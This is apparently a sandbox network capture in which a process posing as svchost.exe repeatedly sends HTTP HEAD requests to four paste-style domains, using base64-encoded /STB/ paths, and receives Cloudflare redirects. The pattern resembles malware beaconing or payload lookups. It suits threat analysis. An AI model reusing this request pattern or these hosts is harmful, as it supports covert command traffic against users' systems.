Jan 12, 2025 09:27:15.023123980 CET	869	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:14 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:14 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rsr8QRb637p7aS07l6lgVeYpyjgGufJMartFB80Rvcrfb0AngugbfILSFzBLbk8K0BZPcrEFGg9bw2xfKclNGl4ep8dVmN7%2BJ4IXkJuBRoq8wcjeyngTH5itf%2F52N74CoLhh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc42a8a20c352-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1484&min_rtt=1484&rtt_var=742&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=219&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	50284	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:14.804464102 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:15.276155949 CET	874	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:15 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:15 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kxjv1bO2d1HJPSmpB2MtVIe%2F3h6aerFQCDI6fRruu1a7v5oqAIRxVOp6W5rPpFbdVrT065a%2FpMEOtzXfSwAGFSE%2BgDL6QvIxMKvadt%2FOUnsxJAsxMtcJCLHnw3NeCB22IwA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc42c2c8e0f7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1495&min_rtt=1495&rtt_var=747&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=203&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	50286	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:15.031341076 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:15.482400894 CET	880	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:15 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:15 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y8levdg8xiCaI84%2B4FQ7t%2FSkEvYera3HnUDff7WqiCbkhtNsKm%2BvTT1gwTXYJYGcfy2QbhpT%2Bi06LKi39JQDj9ccyrvsGyYqhoSWCrsY1tCIJMjo81fXH2d2tBqRhCW2AP2%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc42d7f9b8ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2983&min_rtt=2983&rtt_var=1491&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=166&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	50288	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:15.284837008 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:15.758469105 CET	868	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:15 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:15 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TwCn5lgkeBUnqY7JkAQ9rH0p3w2a%2BNT3ocW4okVtQ3e8%2B1nXghy8cSqnT%2BHZEbG%2FRdOb%2FtBpvGjqpDrn%2FROmSdWhWGoQXeFt61FEj5FLEly6uwGRjxWzahTHIzy6f%2BXY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc42f2f0a7d16-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1914&min_rtt=1914&rtt_var=957&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=215&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	50293	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:15.820755959 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:16.274784088 CET	871	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:16 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:16 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GO0%2BzMFJLoFcHXWXsC8ZJSGSV41AKfcPoHjaxeS7HzxVIPUyrs4V2jwtLwffAer1kwwMUtm4cg967%2BqYvxmWNZf1CiIE0jVMZB2DwGZme94pa7oJsTtqpBft%2FQEmsfo8vkPC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4326a67f5f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1513&min_rtt=1513&rtt_var=756&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	50296	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:16.319017887 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:16.775712013 CET	882	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:16 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:16 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qWVLna%2FjuBnyKB%2BOMx1dpjCuDWP8iKsAjDymHVTwq%2Fkj70mWn%2FEaoUNPlIpg%2Fri4sFysgQs8y54uPLShuVLfydWb%2FulPOi%2B4yYZsL%2B67o8JYqLUUR3lVafPiKgi0SZL8GW8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4357ee9c425-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1479&min_rtt=1479&rtt_var=739&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	50297	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:16.597207069 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:17.058357954 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:17 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:17 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OyUQkzTY%2BXTo7FUQjUZBL7o2GYG5tnl4zzDxjYTfrRxryPcgP0KfY%2BZY98I1q9NjfRUmTQE5KBneBHTe35Lh59i%2Btj1tmfTtzzIo0JBDXBZQpipv2giOjuP3PumiXMGg9fKb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4374b4d7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1948&min_rtt=1948&rtt_var=974&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	50299	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:16.782347918 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:17.255031109 CET	862	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:17 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:17 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3%2F%2Bq9MEoIqAr0Kpc8sa8z01DuRWKk3L38gxhi%2FBUEl5BK%2F8KTToK1XQlY7dNKDIkjIefYjbYdBzobdZTSEURiRW6tTOt3pQQS5lmslR8Hp8GDGROL6bgXzJyeUgBCpAy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4387e340fab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1464&min_rtt=1464&rtt_var=732&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=186&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	50304	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:17.261694908 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:17.738234997 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:17 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:17 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vxZwNZSrFcsy4tWcZiAyzd4h%2BkxMlI6Ayx%2BpZS4C4KMcfO2B%2FbKVf0WI%2BWujaUXw8QkGg1PsEYQHuFb1QMzQVnq8kJSgKYsc%2FHJDf7lTBEvSpdW20frLKC8eTZpUyepGiuwn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc43b7f60440e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1586&rtt_var=793&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	50306	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:17.540326118 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:17.993443012 CET	876	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:17 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:17 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R1L3%2BoaypDoxPyZt93e%2FJ2nnvD6WuMEr09OPk0gUWwAO1n4vnAuNSetgLaBWBlpo%2Fm4PaY5cFNJOAAIT%2BuBn5n48lkEglYBwyxn%2FdD80PLmPBQvqchgR5wmxXneHRGl0asc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc43d28bb4378-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1564&min_rtt=1564&rtt_var=782&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	50308	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:17.744788885 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:18.194657087 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:18 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:18 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4B8ZEGqaBgrehNGukFjIJjpmCUkl0f4p9t778OhzU%2BuoR4fgt%2BQM70VUTpwzIQtasLh7pJ20LOdQRf%2FQPdPNsWTrbS%2BXFcA0EnjRrH7gbRD8bX3EfOWAfTWnPPOuAJfQAJjY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc43e6f997c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1970&min_rtt=1970&rtt_var=985&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	50310	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:18.001146078 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:18.455535889 CET	862	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:18 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:18 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CzPJBIc3NaV9PE%2FSoNb8Qxzps%2BHp6CMEzNhaEHnhQK9iXIvxva5xBZg0NzVqRHS%2BpKjoQCOXnSregNEaa1DESwbYZV7lBxqeNYB%2F1snpMDgm5eopLbJegd6JkxdbRYFa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4400aba43ef-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1753&min_rtt=1753&rtt_var=876&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	50315	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:18.465682030 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:18.937992096 CET	871	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:18 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:18 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=maVPfynt%2BXM9ZcgdaazgKK1XdRoqtM9JaCCPoczc%2FzVMZ7FeWw3XNG1JoMkqeZqzkK70yHzqO5vgF10PhtMo4orgBWSQxrW9K659Bsxkl50wOi9o3gwK4F8fPpw%2BYYj51Z5t"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4430b38420d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&min_rtt=1775&rtt_var=887&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	50317	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:18.682122946 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:19.165075064 CET	876	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:19 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:19 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6E3Fv8t5Svf1rdlDH1y6JRyu18nKo1fUAHRw%2FRZytCBG%2F2QsWTdbulsSqr%2B%2BAJP%2FkCCgc0wO9W3as5VuH8bFIkLymwVYfsPAySfZqRuDTxj1s4GcBtp5n7Ee95aZuWL1LPo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4446961726e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1918&min_rtt=1918&rtt_var=959&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	50319	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:18.967952967 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:19.425389051 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:19 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:19 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9mQ3Ig%2BZdGikewLoszBBYnqXJr5a3nuXUQvkJhwcnuoeLDgYT2HmQEN85qEDiTiSpMl0Mvi4Eh8R%2Fi3Y0YYdGFCaWwidvrHIXJ9mbAFaL4C2VpvnW3%2Bkhgc1UENTWkj%2Fr6qN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4461f6b42e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1598&rtt_var=799&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	50321	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:19.192089081 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:19.642623901 CET	858	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:19 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:19 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rVtmVLtd9RA9C6LgHZLnqfHslrKOZoC14Eu3eNNfPngRcVjrf72mDT2EMDdtJYqqih0NGyKh%2Fozpxio81dlccAGkKMgsvSRcLLV2UmSNgJ1idRdU%2BXM1LEXrlyXIted9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc447791befa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1977&min_rtt=1977&rtt_var=988&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=163&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	50326	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:19.683811903 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:20.144347906 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:20 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:20 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I1Nl5K4y%2BapY0Zc5Vut0K1EgtxI60pCQNJwy37crQXjJSBLN%2BCw4DFh%2Bokpw3vm3ZQ9EsstdcYySKDArXjnLpm9uHqSfkDdreHAPE85WuvMQcMUEuyGUcY%2BrFUb7u6%2FffC4J"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc44a8b21436f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1518&min_rtt=1518&rtt_var=759&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	50329	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:20.251477957 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:20.726183891 CET	876	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:20 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:20 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9UdvBzDEDCfUQApKtNTyypUXiHku5Kb7zjH3iCkhwHkqA9kxc%2BQ1%2F8u6txJ%2BJx%2BdjiRCRTev5yHf4NKDekGLpnvnWSuqfS240a78ukBRvVrxGHsveI%2B9svgRMViLUarZIss%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc44e2d074369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1579&rtt_var=789&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=218&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	50330	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:20.323273897 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:20.787805080 CET	887	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:20 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:20 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BRnTzLzEypN8QIS008d5i%2BaF%2BoieYszt03QlZUBF%2F0cLLaUC3Cp0BVU3DucC7OG1g3ZzavENiFLEVrgp4I6ib4hwN%2FPn7%2FqN4jZyfNZrEd%2Fc%2BIR15D0T9Q%2FihnFbUARcuVd8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc44e9f9b4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1698&min_rtt=1698&rtt_var=849&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.7	50332	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:20.732248068 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
